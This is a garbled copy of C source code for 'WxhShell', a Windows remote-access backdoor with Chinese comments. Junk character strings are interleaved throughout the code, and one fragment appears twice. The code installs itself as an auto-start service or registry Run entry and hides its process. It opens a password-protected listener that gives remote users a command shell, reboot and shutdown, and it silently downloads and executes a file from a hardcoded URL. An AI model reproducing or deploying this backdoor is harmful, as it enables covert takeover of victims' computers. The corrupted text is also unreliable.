S86`. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pA4/'7nCl NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xE9^4-Px* FDbx"%A if (!NtQueryInformationProcess) return 0; ,PJl32
S^I38gJd hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qI<*Cze if(!hProcess) return 0; eY\tO"Hc /p<mD-:.M if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^P"t
" I4m)5G?O2 CloseHandle(hProcess); 2}[rc%tV:? $]|_xG-6{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R
j(="+SPj if(hProcess==NULL) return 0; tK g%5;v xW/JItF HMODULE hMod; Bpo~x2p char procName[255]; XwX1i!'54 unsigned long cbNeeded; "y
"C#:5 hYi-F.Qtq if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z6K9E=%)c aFyNm@a CloseHandle(hProcess); *:BNLM 49/1#^T"Q> if(strstr(procName,"services")) return 1; // 以服务启动 dXe763~< ~i))Zc3,g\ return 0; // 注册表启动 Z'S>i*Ts
} XiKv2vwA {EW}Wd // 主模块 }mu8fm' int StartWxhshell(LPSTR lpCmdLine) RvDqo d { "9LPq SOCKET wsl; `dEWP;#cp BOOL val=TRUE; [<wy@W int port=0; /PPk
p9H{ struct sockaddr_in door; #kLM=a/_NO bTO$B2eh| if(wscfg.ws_autoins) Install(); d`({z]W; *'d5~dz= port=atoi(lpCmdLine); ynZ! /I[cj3}{+f if(port<=0) port=wscfg.ws_port; -d_FB?X j|lg&kN WSADATA data; eC[g"Ef if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o|^0DYb '?yZ,t if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }!n<L:njX setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {sX*SbJt door.sin_family = AF_INET; ? 1Z\=s door.sin_addr.s_addr = inet_addr("127.0.0.1"); tE>3.0U0Q door.sin_port = htons(port); 2q2w o&uK , LcMNP r if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XKks j!'B closesocket(wsl); `+"QhQ4w return 1; KO{}+~,.6 } (e F5?I ^,U&v; if(listen(wsl,2) == INVALID_SOCKET) { -BEPpwb<g closesocket(wsl); QfcW return 1; gMHH3^\VH) } 3vrQY9H> Wxhshell(wsl); tG%R_$* WSACleanup(); ~Ja>x`5 jVfC 4M7 , return 0; 1/HPcCsHb uA}asm } ZJR{c 5TE yMo@ka=v // 以NT服务方式启动 b#82G`6r VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N|[a<ut< { v]!|\] DWORD status = 0; Rw$ @%o% DWORD specificError = 0xfffffff; [K"v)B' U$Ew,v< serviceStatus.dwServiceType = SERVICE_WIN32; >D-$M_ serviceStatus.dwCurrentState = SERVICE_START_PENDING; Kl+*Sp! serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
0;k3 serviceStatus.dwWin32ExitCode = 0; ZQ~? serviceStatus.dwServiceSpecificExitCode = 0; $1Xg[>1g5 serviceStatus.dwCheckPoint = 0; b[*di{?- serviceStatus.dwWaitHint = 0; Nk=M d^lA52X6P hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F},JP'\X if (hServiceStatusHandle==0) return; RKjA`cJ -09<; U status = GetLastError(); |/p^e if (status!=NO_ERROR) 3%cNePlr { x; b'y4kH serviceStatus.dwCurrentState = SERVICE_STOPPED; $f)Y
!<bC serviceStatus.dwCheckPoint = 0; \u)s Zh serviceStatus.dwWaitHint = 0; `-w;=_Bm serviceStatus.dwWin32ExitCode = status; >fb*X'Zi% serviceStatus.dwServiceSpecificExitCode = specificError; \OY2| SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8nZPY)o return; }cS3mJ } rNgE/=X 8|J%IE serviceStatus.dwCurrentState = SERVICE_RUNNING; 4Pz9&^K serviceStatus.dwCheckPoint = 0; \!w7N
:m serviceStatus.dwWaitHint = 0; -nHc52, if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E"w7/k#3}C } 08.dV<P d6M
d~$R // 处理NT服务事件,比如:启动、停止 cDAO5^ VOID WINAPI NTServiceHandler(DWORD fdwControl) yTZbJx?m { @``!P&h switch(fdwControl) pl7!O9bo { x&;{4F Nw case SERVICE_CONTROL_STOP: ?np`RA serviceStatus.dwWin32ExitCode = 0; cFH,fj serviceStatus.dwCurrentState = SERVICE_STOPPED; R0m}I5Frs serviceStatus.dwCheckPoint = 0; WcqYpPv serviceStatus.dwWaitHint = 0; X7n~Ws&s@ { B*?v`6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ueqR@i } JFZZ-t;* return; e@I?ESZ5 case SERVICE_CONTROL_PAUSE: Y$,]~Qzq serviceStatus.dwCurrentState = SERVICE_PAUSED; QTP1u break; koAc-o
case SERVICE_CONTROL_CONTINUE: u}ab[$Q5 serviceStatus.dwCurrentState = SERVICE_RUNNING; X59~)rH, break; szKs9er& case SERVICE_CONTROL_INTERROGATE: 'X[3y^q break; \wnQ[UNjP }; p\!+j@H: SetServiceStatus(hServiceStatusHandle, &serviceStatus); W=G[hT5L{ } =;T971L` 0}w>8L7i{ // 标准应用程序主函数 T=>&`aZH int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IS8ppu&E { Y> 7/>x6 LrK6*y,z // 获取操作系统版本 P/ug' OsIsNt=GetOsVer(); A\ LTAp(I GetModuleFileName(NULL,ExeFile,MAX_PATH); Ct.Q)p-wn J#JZ^59lOS // 从命令行安装 AQ-PY if(strpbrk(lpCmdLine,"iI")) Install(); rZzto;NDS IJ=~hBI // 下载执行文件 FC)aR[ if(wscfg.ws_downexe) { VT-&"Jn if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KDCq::P< WinExec(wscfg.ws_filenam,SW_HIDE); ybB/sShGM } 8"p>_K= r$0"Y-a if(!OsIsNt) { %,)[%>#{ // 如果时win9x,隐藏进程并且设置为注册表启动 T>L6 X:d HideProc(); !O $EVl StartWxhshell(lpCmdLine); IY :iGn8R } 9i9VDk{ else }rOO[,?Y if(StartFromService()) k^ID // 以服务方式启动 3+(Fq5I StartServiceCtrlDispatcher(DispatchTable); sLB{R#Pt else ;pC-0m0Y // 普通方式启动 ]Nm_<%lT StartWxhshell(lpCmdLine); 7';PI!$ JLs7[W)O return 0; OyTBgS G?a } z3>}(+ PUucYc scrNnO[3j #~
/-n =========================================== 7gPkg63 zvD$N-#`p c\-I+lMBi 4Tq%V|5"& )Ax1?Nx$ }`*]&I[P " y" P$:l K b{ #include <stdio.h> L2Mcs #include <string.h> Xhi9\wteYw #include <windows.h> (R Ttz #include <winsock2.h> ?p6+?\H #include <winsvc.h> ^oPf>\),C #include <urlmon.h> gLu#M:4N %tmK6cY4Y #pragma comment (lib, "Ws2_32.lib") |J~;yO SD #pragma comment (lib, "urlmon.lib") >#xpg&2x iPI6 _h #define MAX_USER 100 // 最大客户端连接数 8m-ryr) #define BUF_SOCK 200 // sock buffer 4Mnne'7 #define KEY_BUFF 255 // 输入 buffer J]Uki*s '{Iv?gh" #define REBOOT 0 // 重启 ud!iy #define SHUTDOWN 1 // 关机 y%3Yr?] {TlS)i` #define DEF_PORT 5000 // 监听端口 qhiQ!fMQ Gu&zplB #define REG_LEN 16 // 注册表键长度 ~Kt.%K5lgt #define SVC_LEN 80 // NT服务名长度 \e ( h6,@ +&Sf$t 1 // 从dll定义API _
@ \ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]cFqKs typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RqH"+/wR typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HJoPk'p% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); { \r{$<s ])T*T$u // wxhshell配置信息 "(T@*"vX2 struct WSCFG { ;M\H#%G. int ws_port; // 监听端口 k\1q Jr char ws_passstr[REG_LEN]; // 口令 d;)Im
" int ws_autoins; // 安装标记, 1=yes 0=no wcB-)Ra char ws_regname[REG_LEN]; // 注册表键名 ~#@sZ0/< char ws_svcname[REG_LEN]; // 服务名 [u/g =^+u char ws_svcdisp[SVC_LEN]; // 服务显示名 64`V+Hd char ws_svcdesc[SVC_LEN]; // 服务描述信息 rzEE | char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t$R|lv5< int ws_downexe; // 下载执行标记, 1=yes 0=no >qCUs3}C{* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (CO8t~J= char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >/}v8k 1v b pExYyt }; ADlPdkmym n16,u$| // default Wxhshell configuration zj"J~s;? struct WSCFG wscfg={DEF_PORT, [C/h{WPC- "xuhuanlingzhe", B9Y "J 1, Sxf<8Px9i "Wxhshell", zziuj s: "Wxhshell", R:Z{,R+
"WxhShell Service", g]z,*d "Wrsky Windows CmdShell Service", vU&gFEWg "Please Input Your Password: ",
`q%Z/!} 1, !<@k\~9^D "http://www.wrsky.com/wxhshell.exe", LW0't}
z "Wxhshell.exe" g:O~1jq }; ImyB4welo j<wWPv // 消息定义模块 KS3
/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )^L+iht char *msg_ws_prompt="\n\r? for help\n\r#>"; q"`1cFD char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y7]N.G3,] char *msg_ws_ext="\n\rExit."; |jF)~k6 char *msg_ws_end="\n\rQuit."; 2o?!m2W char *msg_ws_boot="\n\rReboot..."; :v8j3= char *msg_ws_poff="\n\rShutdown..."; ki=-0G*] char *msg_ws_down="\n\rSave to ";
Tld%NE W}.;]x%1B char *msg_ws_err="\n\rErr!"; WF-B=BRZ char *msg_ws_ok="\n\rOK!"; doVBV Tk^ ~z%K9YcyU char ExeFile[MAX_PATH]; IWsB$T int nUser = 0; Cddw\|'3 HANDLE handles[MAX_USER]; `A$yF38! int OsIsNt; dX,2cK[aG lMF j"x\ SERVICE_STATUS serviceStatus; ??ah SERVICE_STATUS_HANDLE hServiceStatusHandle; "JKrbgN@;L T&X*[kP // 函数声明 M($dh9 A_ int Install(void); !+=jD3HTJ int Uninstall(void); ?4(uwXp int DownloadFile(char *sURL, SOCKET wsh); 9Clddjf?c int Boot(int flag); <eI7xifD void HideProc(void); f-tjMa /_ int GetOsVer(void); thl{IU int Wxhshell(SOCKET wsl); # ]&=]K1V void TalkWithClient(void *cs); <Y9((QSM4 int CmdShell(SOCKET sock); )pW(Cp int StartFromService(void); ]aXCi"fMs int StartWxhshell(LPSTR lpCmdLine); 8'@pX< W2qW`Ujo{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -U'6fx) + VOID WINAPI NTServiceHandler( DWORD fdwControl ); L&][730 k2_ " // 数据结构和表定义 4:y;<8+j\ SERVICE_TABLE_ENTRY DispatchTable[] = q --NLm@; { w<.{(1:v {wscfg.ws_svcname, NTServiceMain}, WojZ[j> {NULL, NULL} O>lF{yO0` }; P`cEu6: [XhuJdr"u // 自我安装 .~4%TsBaY int Install(void) w J/k\ { e(O"V3wq*6 char svExeFile[MAX_PATH]; !!%vs
6 HKEY key; |j#x}8[( strcpy(svExeFile,ExeFile); w%GEOIj} .3 m^yo
c/ // 如果是win9x系统,修改注册表设为自启动 4%aODr8 if(!OsIsNt) { ? D2:'gg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]SFB_5Gb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GGo
nA RegCloseKey(key); "=MRzSke3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (iIJ[{[H4) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); # G0jMQ RegCloseKey(key); l5l:'EY> return 0; *ukE"Aj } 4Fgy<^94` } xbxU`2/ } q]`XUGC else { F'|D Xd!=1:: // 如果是NT以上系统,安装为系统服务 Azxy!gDT" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^
RU"v> if (schSCManager!=0) C(Yk-7 { APsd^J SC_HANDLE schService = CreateService r2]:'O6 ( / 9/=] schSCManager, 3&/5!zOg) wscfg.ws_svcname, (B.J8`h } wscfg.ws_svcdisp, t.v@\[{- SERVICE_ALL_ACCESS, S6*3."Sk SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W1w)SS SERVICE_AUTO_START, 24}r;=U SERVICE_ERROR_NORMAL, f5IO<(:E^ svExeFile, 5#!pwjt~7 NULL, !E'jd72O NULL, _1VtVfiZ{ NULL, 5Y"JRWC NULL, hp/}Z"A= NULL !ANv XPp ); & ;ie+/B if (schService!=0) q*SX.A>YR { ,ic.b
@u1 CloseServiceHandle(schService); ?dVF@ CloseServiceHandle(schSCManager); =P!SN]nFeP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wv|:-8V strcat(svExeFile,wscfg.ws_svcname); l'fUa if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S^]i RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H5j~<@STC RegCloseKey(key); \SkCsE#H return 0; 6=3}gd5 } osB[KRT>(" } f>g>7OsD] CloseServiceHandle(schSCManager); B5hk]=Ud } ,9^wKS!7$ } P PZxH}J. L&+XFntR return 1; o}mD1q0yE }
"<SK=W H1N_ // 自我卸载 4nzUDeI3MG int Uninstall(void) s(q\!\FS { V/j+Z1ZW HKEY key; <v&>&;>3 R;,+0r^i if(!OsIsNt) { }rz}>((ZHF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yHT8I RegDeleteValue(key,wscfg.ws_regname); @]":3 RegCloseKey(key); ( ?3 )l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [~,~ e
RegDeleteValue(key,wscfg.ws_regname); y&")7y/uE RegCloseKey(key); J 6U3}SO=y return 0; u* G|TF } ev7Y^
} |_{-hNiz0 } Y-hGHnh]' else { a02@CsH <?5 ,3`V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bm*Ell\a. if (schSCManager!=0) sNZ{OD+ { JeU|e$I4> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dWwh?{n if (schService!=0) ^CX=< { Q7zg i if(DeleteService(schService)!=0) { ABvB1[s# CloseServiceHandle(schService); |Tuk9d4] CloseServiceHandle(schSCManager); a938l^@;s8 return 0; rIR~YMv! } RR<92R CloseServiceHandle(schService); glbU\K> > } _[zO?Div[ CloseServiceHandle(schSCManager); @ {\q1J> } 1Rc'2Y } `ySLic` zFmoo4P/ return 1; RNE})B } N'w;1,c+ RR>Q$K // 从指定url下载文件 8*V^DM3n- int DownloadFile(char *sURL, SOCKET wsh) c7.%Bn, { }A;J-7g6 HRESULT hr; B@D3aOvO char seps[]= "/"; Xs$k6C3 char *token; \2~Cn c*O char *file; A6YkoYgC char myURL[MAX_PATH]; q|0Lu char myFILE[MAX_PATH]; 2uu"0Rm% NitWIj[U; strcpy(myURL,sURL); z)I.^ token=strtok(myURL,seps); T|`nw_0 while(token!=NULL) uA dgR { PB*mD7" file=token; /co^swz token=strtok(NULL,seps); CKeT%3 } '+LC.l M tYK
5?d GetCurrentDirectory(MAX_PATH,myFILE); JK34pm[s strcat(myFILE, "\\"); 7KXc9:p+ strcat(myFILE, file); >xb}AY; send(wsh,myFILE,strlen(myFILE),0); m?VA 1 send(wsh,"...",3,0); GY%lPp hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z_Ffiw(p if(hr==S_OK) fw Ooi'jb return 0; p3>p1tC else t$m~O?I return 1; 0+p
<Jc! `Nmw } H5j6$y|I|N E
Mq P // 系统电源模块 b"n0Yk1 int Boot(int flag) H`|8x4 { + pTc2z HANDLE hToken; /@-!JF#g TOKEN_PRIVILEGES tkp; Ey7SQb w'E&w)Z] if(OsIsNt) { S) ZcH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;5QdT{$H LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ry9kGdqO tkp.PrivilegeCount = 1; CmKbpN* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |X@ZM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LPO:Ka if(flag==REBOOT) { =0!PnBGYn if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f*U3s N^y return 0; %>u(UmFO } o|FjNL else { Hy}oSy26 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hz39v44 return 0; AlF"1X02 } Q |,(C0<G } =wbgZr^2 else { \2F{r<A\@ if(flag==REBOOT) { NbnahhS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "X<vgM^: return 0; 6 z(7l } Ud@D%?A7 else { ehehTP if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mX2i^.zH return 0; &[QvMh } 3fA.DK[4[ } `F-<P%k =UY)U- return 1; cCOw7< } g:&YSjO>G g{0a]'ph // win9x进程隐藏模块 H&0dc.n~. void HideProc(void) KWwEK] { }t5-%&gBY0 ?}p~8{ ' HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %@Mv-A6) if ( hKernel != NULL ) v;_m1UpuW { `wIMu$i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W%Jw\ z= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]34fG3D| FreeLibrary(hKernel); kF{'?R5w } #_oN.1u57 0m8mHJ<& return; t@=*k9 } qaE>]) jUnS&1]MF // 获取操作系统版本 R#QOG} int GetOsVer(void) \M$e#^g { =zaf{0c OSVERSIONINFO winfo; rBY)rUDd4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ol^uM .k%_ GetVersionEx(&winfo); -;T!d if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {yj8LxX^ return 1; i{T mn else 1{%3OG^' return 0; $wnK"k%G } LTsX{z EL/~c*a/ // 客户端句柄模块 C=k]g int Wxhshell(SOCKET wsl) (x)}k&B; { <V?csx/eRd SOCKET wsh; @-B)a Z struct sockaddr_in client; )67pBj DWORD myID; sn>2dRW{ R9+0ZoS while(nUser<MAX_USER) K+WbxovXU { lk/T|0]) int nSize=sizeof(client); vMD%.tk wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9x4%M&<Z9a if(wsh==INVALID_SOCKET) return 1; Mk=M)d` 0[\sz>@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >]/RlW[ if(handles[nUser]==0) C_5o&O8Bc closesocket(wsh); Ufw_GYxan else Z|t`}lK nUser++; D^m`&asC } .{\lbI WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nr*nX yzH(\ x return 0;
EU5^"\ } )~>
C1< 5)@UpcjUA // 关闭 socket #3~ #`& void CloseIt(SOCKET wsh)
:r+BL@9 { o54/r#~fi closesocket(wsh); Yee%
<<S nUser--; )c6t`SBwi ExitThread(0); @XJzM]*w& } -!bfxbP }F
B]LLi // 客户端请求句柄 VoG_'P void TalkWithClient(void *cs) OTy{:ID { ":I@>t{H* P*
Z1Rs_ SOCKET wsh=(SOCKET)cs; $c1zMkY)u char pwd[SVC_LEN]; 2%{(BT6 char cmd[KEY_BUFF]; FN+x<VXo( char chr[1]; z<I@SI^> int i,j; NsJ]Tp5! $*\GZ$y> while (nUser < MAX_USER) { /s~(? =qYH u-/5&Endb if(wscfg.ws_passstr) { c'!+]'Lr if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vb57B.I //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XI5TVxo(q //ZeroMemory(pwd,KEY_BUFF); \Bvy~UeE)> i=0; /z)H7s+ while(i<SVC_LEN) { ##QKXSD .EfGL_ // 设置超时 /:=,mWoO fd_set FdRead; S%Bm4jY struct timeval TimeOut; ;t xW\iy%Z FD_ZERO(&FdRead); y$,j'B:;4m FD_SET(wsh,&FdRead); =".sCV9"N TimeOut.tv_sec=8; C#l9MxZE TimeOut.tv_usec=0; )a=FhSB[G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4 (>8tP\Y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hy}n&h n/ CP2A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V\m51H1mqo pwd=chr[0]; [QZ8M@Gty# if(chr[0]==0xd || chr[0]==0xa) { p=T6Ix'_2e pwd=0; BD_"w]bqD break; -)pVgf } 8ioxb`U i++; Hw\hTTK } IM(=j _(_U= // 如果是非法用户,关闭 socket Q2LAXTF]y if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xXQW|#X\ } gw^X - E%&E<<nhZ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rvUJK,oE send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?l?_8y/ww 4_KRH1 while(1) { FdE9k\E#/) G0mvrc-( ZeroMemory(cmd,KEY_BUFF); KB`">zq$u 8(@Y@`/ // 自动支持客户端 telnet标准 '-2|GX_o j=0; +'`I]K> while(j<KEY_BUFF) { Yw6d-5=: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jQX9KwSP cmd[j]=chr[0]; Egm-PoPe if(chr[0]==0xa || chr[0]==0xd) { X B[C&3I cmd[j]=0; J,_IHzO~Z break; E/Adi^ } ;/~%D( j++; oFDJwOJ'Bj } !4"<:tSO jlM%Y
ZC // 下载文件 [E:-$R if(strstr(cmd,"http://")) { ~|R/w%*C send(wsh,msg_ws_down,strlen(msg_ws_down),0); |QO)xEn~ if(DownloadFile(cmd,wsh)) r34 GO1d send(wsh,msg_ws_err,strlen(msg_ws_err),0); '(fCi else Rap =& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j=V2~
xA6 } ;Ebpf J else { wrEYbb 2`cVi"U switch(cmd[0]) { W't.e0L<6 &aWY{ ?_ // 帮助 IfF&QBi case '?': { &Tn7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 40Z/;,wp{ break; - *_"ZgE } /e50&]2w // 安装 Jo9!:2? case 'i': { =G-u "QJ6 if(Install()) E|BiK send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5imqZw else aj6{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L~} 2&w break; :}[[G2|9 } TM$Ek^fQ. // 卸载 mqv!"rk'w case 'r': { F/chE c
V if(Uninstall()) S$%Y{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]zR,Y=
# else ~glFB`?[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1`I#4f break; Oo`b#!L } ealh>Y // 显示 wxhshell 所在路径 [0-zJy|, case 'p': { gA~faje char svExeFile[MAX_PATH]; <#5`%sa ' strcpy(svExeFile,"\n\r"); hP]zC1s strcat(svExeFile,ExeFile); %{K6 send(wsh,svExeFile,strlen(svExeFile),0); &Vi0.o
break; sAKQ.8$h* } }hX"A!0 // 重启 G8ksm2 } case 'b': { "Qxn}$6- send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :O{oVR if(Boot(REBOOT)) `Ef&h V send(wsh,msg_ws_err,strlen(msg_ws_err),0); i4*!t.eI else { 4j
h4 XdH closesocket(wsh); &m>txzo ExitThread(0); hR3Pa'/i } ]Zz<9zix break; *|Fl&`2 } ^_^rI+cTX1 // 关机 "yV)&4) case 'd': { Y'S9
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X>6VucH{\ if(Boot(SHUTDOWN)) 9,;+B8-A send(wsh,msg_ws_err,strlen(msg_ws_err),0); R@H}n3, else { ~*Ir\wE closesocket(wsh); .`Ts'0vVy ExitThread(0); h8uDs|O9n } q;a#?Du o break; DUK.-|a7 } ;q&\>u: // 获取shell vXi}B case 's': { ds9`AiCW> CmdShell(wsh); 3`aJ"qQE closesocket(wsh); 59I} ExitThread(0); Bt^];DjH break; `[J(au$z } #O.-/&Z // 退出 b1{XGK' case 'x': { fMFlY%@t send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yYvv;E CloseIt(wsh); sP NAG
break; I#tEDeF2 } aE2
3[So // 离开 "UY.;
P case 'q': { 4c_F>Jw[ send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6@HY+RCx closesocket(wsh); tKUy&]T WSACleanup(); ,-XJ@@2gM exit(1); t(:6S$6{e break; e[@
^UY } CQcb !T } 6c>tA2G|8 } !OJSQB, 'k9hzk(* // 提示信息 ;Q.g[[J/p if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {@u}-6:wAT } m 5NF)eL } ;,h*s,i s!E-+Gw return; =9;jVaEMJL } 9h6xl i Pk; 9\0k7 // shell模块句柄 K,IPVjS int CmdShell(SOCKET sock) p3eJFg$ { ZN ?P4#ZS STARTUPINFO si; uGQCW\!"4 ZeroMemory(&si,sizeof(si)); ]&ptld; si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N2_ =^s7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @zJ#16Vi PROCESS_INFORMATION ProcessInfo; ku'%+svD char cmdline[]="cmd"; 32IN;X| CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8&=+Mw return 0; 5W!E.fz*T } DOWUnJ;5 nWK"i\2#G // 自身启动模式 FZ^byIS[ int StartFromService(void) ::vw1Es { +G_6Ek4 typedef struct `q exEk@S { ZX.VzZS DWORD ExitStatus; !+M H?A DWORD PebBaseAddress; 6iFd[<.*j DWORD AffinityMask; b['TRYc=: DWORD BasePriority; ,9#G/nF ULONG UniqueProcessId; k-
sbZL ULONG InheritedFromUniqueProcessId; " I@Z:[=2 } PROCESS_BASIC_INFORMATION; V]PTAhc $XI5fa4Tt PROCNTQSIP NtQueryInformationProcess; pKMf#)qm "7)F";_(^ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ryx<^q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @ec QVk r\[HR ^` HANDLE hProcess; =dX*:An PROCESS_BASIC_INFORMATION pbi; zoOm[X=?3 ?XGZp?6 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3MjMN %{P if(NULL == hInst ) return 0; ;:9 x.IkxC va;d[D,
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `>8| g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &/\0_CoTR\ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (U`7[F X5U!25d] if (!NtQueryInformationProcess) return 0; 5H 1(C#| nL+*Ja hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }M| if(!hProcess) return 0; ;lAz@jr+ eOn,`B1 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fD\h5`- df1* [ CloseHandle(hProcess); FZA8@J|Q4 3Uag[ms hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6XQ)Q)
if(hProcess==NULL) return 0; 66'TdF]" h)wR[N]n HMODULE hMod; 6w}:w?=6 char procName[255]; MO#%w unsigned long cbNeeded; o-O/M S XtfL{Fy|T if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'KQuz)- g\(7z
